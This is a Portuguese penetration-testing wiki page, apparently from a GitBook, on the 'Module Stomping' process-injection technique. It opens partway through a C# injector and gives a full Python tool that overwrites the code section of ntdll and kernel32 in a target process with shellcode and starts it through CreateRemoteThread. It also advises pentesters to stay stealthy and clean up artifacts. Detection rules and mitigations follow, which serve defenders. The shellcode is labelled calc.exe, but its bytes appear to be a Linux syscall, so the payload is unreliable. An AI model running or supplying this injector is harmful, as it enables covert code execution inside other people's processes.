            Console.WriteLine("Methods: 1 = CreateRemoteThread, 2 = APC");
            return;
        }
        
        int pid = int.Parse(args[0]);
        int method = args.Length > 1 ? int.Parse(args[1]) : 1;
        
        if (Inject(pid, method))
        {
            Console.WriteLine("[+] Module Stomping successful!");
        }
        else
        {
            Console.WriteLine("[-] Module Stomping failed");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# module_stomping.py

import ctypes
import sys

# Windows API definitions
kernel32 = ctypes.windll.kernel32
psapi = ctypes.windll.psapi

# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
PAGE_EXECUTE_READWRITE = 0x40
PAGE_EXECUTE_READ = 0x20
THREAD_SET_CONTEXT = 0x10

# Structures
class MODULEINFO(ctypes.Structure):
    _fields_ = [
        ("lpBaseOfDll", ctypes.c_void_p),
        ("SizeOfImage", ctypes.c_uint),
        ("EntryPoint", ctypes.c_void_p)
    ]

# Target modules
target_modules = [
    "ntdll.dll", "kernel32.dll", "kernelbase.dll",
    "user32.dll", "gdi32.dll", "advapi32.dll"
]

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def get_module_base(hProcess, module_name):
    """Obter base de um módulo no processo"""
    hModules = (ctypes.c_void_p * 1024)()
    cbNeeded = ctypes.c_uint()
    
    if not psapi.EnumProcessModules(hProcess, ctypes.byref(hModules), 
                                     ctypes.sizeof(hModules), 
                                     ctypes.byref(cbNeeded)):
        return None
    
    module_count = cbNeeded.value // ctypes.sizeof(ctypes.c_void_p)
    
    for i in range(module_count):
        module_name_buffer = ctypes.create_string_buffer(256)
        psapi.GetModuleBaseNameA(hProcess, hModules[i], module_name_buffer, 256)
        if module_name_buffer.value.decode().lower() == module_name.lower():
            return hModules[i]
    
    return None

def find_code_section(hProcess, hModule):
    """Encontrar seção de código no módulo"""
    module_info = MODULEINFO()
    if not psapi.GetModuleInformation(hProcess, hModule, 
                                       ctypes.byref(module_info),
                                       ctypes.sizeof(module_info)):
        return None
    
    # Simplificado: retorna base do módulo
    # Na prática, seria necessário parsear o PE
    return module_info.lpBaseOfDll

def inject_module_stomping(pid, exec_method=1):
    """Executar Module Stomping"""
    print(f"[*] Module Stomping on PID {pid}")
    
    # Abrir processo
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not hProcess:
        print("[-] Failed to open process")
        return False
    
    for module_name in target_modules:
        hModule = get_module_base(hProcess, module_name)
        if not hModule:
            continue
        
        code_section = find_code_section(hProcess, hModule)
        if not code_section:
            continue
        
        print(f"[+] Found module {module_name} at 0x{code_section:X}")
        
        # Mudar proteção
        old_protect = ctypes.c_uint()
        if kernel32.VirtualProtectEx(hProcess, code_section, len(shellcode),
                                      PAGE_EXECUTE_READWRITE, 
                                      ctypes.byref(old_protect)):
            
            # Escrever shellcode
            bytes_written = ctypes.c_size_t()
            if kernel32.WriteProcessMemory(hProcess, code_section, shellcode,
                                            len(shellcode), 
                                            ctypes.byref(bytes_written)):
                
                # Restaurar proteção
                kernel32.VirtualProtectEx(hProcess, code_section, len(shellcode),
                                          old_protect, ctypes.byref(old_protect))
                
                print("[+] Payload written")
                
                # Executar via CreateRemoteThread
                if exec_method == 1:
                    thread_id = ctypes.c_ulong()
                    hThread = kernel32.CreateRemoteThread(hProcess, None, 0,
                                                           code_section, None,
                                                           0, ctypes.byref(thread_id))
                    
                    if hThread:
                        print("[+] Remote thread created")
                        kernel32.CloseHandle(hThread)
                        kernel32.CloseHandle(hProcess)
                        return True
                
                elif exec_method == 2:
                    # APC execution
                    print("[+] APC execution not implemented in this example")
                    pass
    
    kernel32.CloseHandle(hProcess)
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: module_stomping.py <PID> [method]")
        print("Methods: 1 = CreateRemoteThread, 2 = APC")
        sys.exit(1)
    
    pid = int(sys.argv[1])
    method = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    
    if inject_module_stomping(pid, method):
        print("[+] Module Stomping successful!")
    else:
        print("[-] Module Stomping failed")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Module Stomping:
  Processos:
    - Escrita em seções executáveis de módulos legítimos
    - Alteração de proteção de memória (RWX) em módulos
    - Criação de threads em endereços dentro de módulos legítimos
  
  APIs Monitoradas:
    - VirtualProtectEx em .text section de ntdll.dll
    - WriteProcessMemory para endereços dentro de módulos
    - CreateRemoteThread com start address em módulo legítimo
  
  Memória:
    - Discrepâncias de hash em módulos carregados
    - Código não assinado em regiões de módulos assinados
    - Seções .text com conteúdo anômalo
```

### **Regras de Detecção (Sigma)**

```yaml
title: Module Stomping Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta escrita em seções de código de módulos legítimos
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 8
        StartModule:
            - 'ntdll.dll'
            - 'kernel32.dll'
            - 'kernelbase.dll'
    condition: selection
```

### **Ferramentas de Detecção**

```powershell
# Verificar integridade de módulos
Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $proc.Modules
        foreach ($module in $modules) {
            $hash = Get-FileHash -Path $module.FileName -Algorithm SHA256
            Write-Host "$($proc.Name) - $($module.ModuleName) - $($hash.Hash)"
        }
    } catch {}
}

# Monitorar alterações em módulos críticos
# Configurar regras de audit
auditpol /set /subcategory:"File System" /success:enable /failure:enable
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Habilitar Arbitrary Code Guard (ACG)
Set-ProcessMitigation -System -Enable ArbitraryCodeGuard

# Configurar Windows Defender Application Control
# Criar política que bloqueia modificação de módulos assinados
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynCode = {0};
    dynCode.ProhibitDynamicCode = 1;
    SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dynCode, sizeof(dynCode));
    
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules:
    - Block process injections from Office applications
    - Block executable files from running unless they meet criteria
  - Usar Windows Defender Application Control
  - Implementar Exploit Protection (EMET)
  - Monitorar integridade de módulos do sistema
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG, ACG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Processos**
  * [ ] Proteger processos críticos com mitigations
  * [ ] Desabilitar criação de código dinâmico
* [ ] **Monitoramento**
  * [ ] Monitorar escrita em módulos críticos
  * [ ] Verificar integridade de módulos
  * [ ] Alertar sobre threads em módulos legítimos

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar módulos alvo no processo
  * [ ] Mapear seções de código
  * [ ] Verificar permissões de escrita
* [ ] **Execução**
  * [ ] Testar com ntdll.dll
  * [ ] Testar com kernel32.dll
  * [ ] Testar com user32.dll
* [ ] **Validação**
  * [ ] Verificar execução do payload
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Module Stomping:
  ✅ Técnica avançada de injeção furtiva
  ✅ Reutiliza memória existente (sem alocação)
  ✅ Bypassa detecção de VirtualAllocEx
  ✅ Múltiplas variações disponíveis

Defesas essenciais:
  ❌ Monitorar escrita em módulos críticos
  ✓ Habilitar CFG e ACG
  ✓ Configurar WDAC
  ✓ Verificar integridade de módulos
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Identificar módulos com seções de código
   * Escolher módulos menos monitorados
   * Combinar com APC para maior furtividade
   * Limpar artefatos após execução
2. **Para Blue Teams**
   * Monitorar WriteProcessMemory em módulos críticos
   * Configurar regras de detecção para CreateRemoteThread
   * Implementar políticas de código dinâmico
   * Verificar integridade de módulos periodicamente


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/module-stomping.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
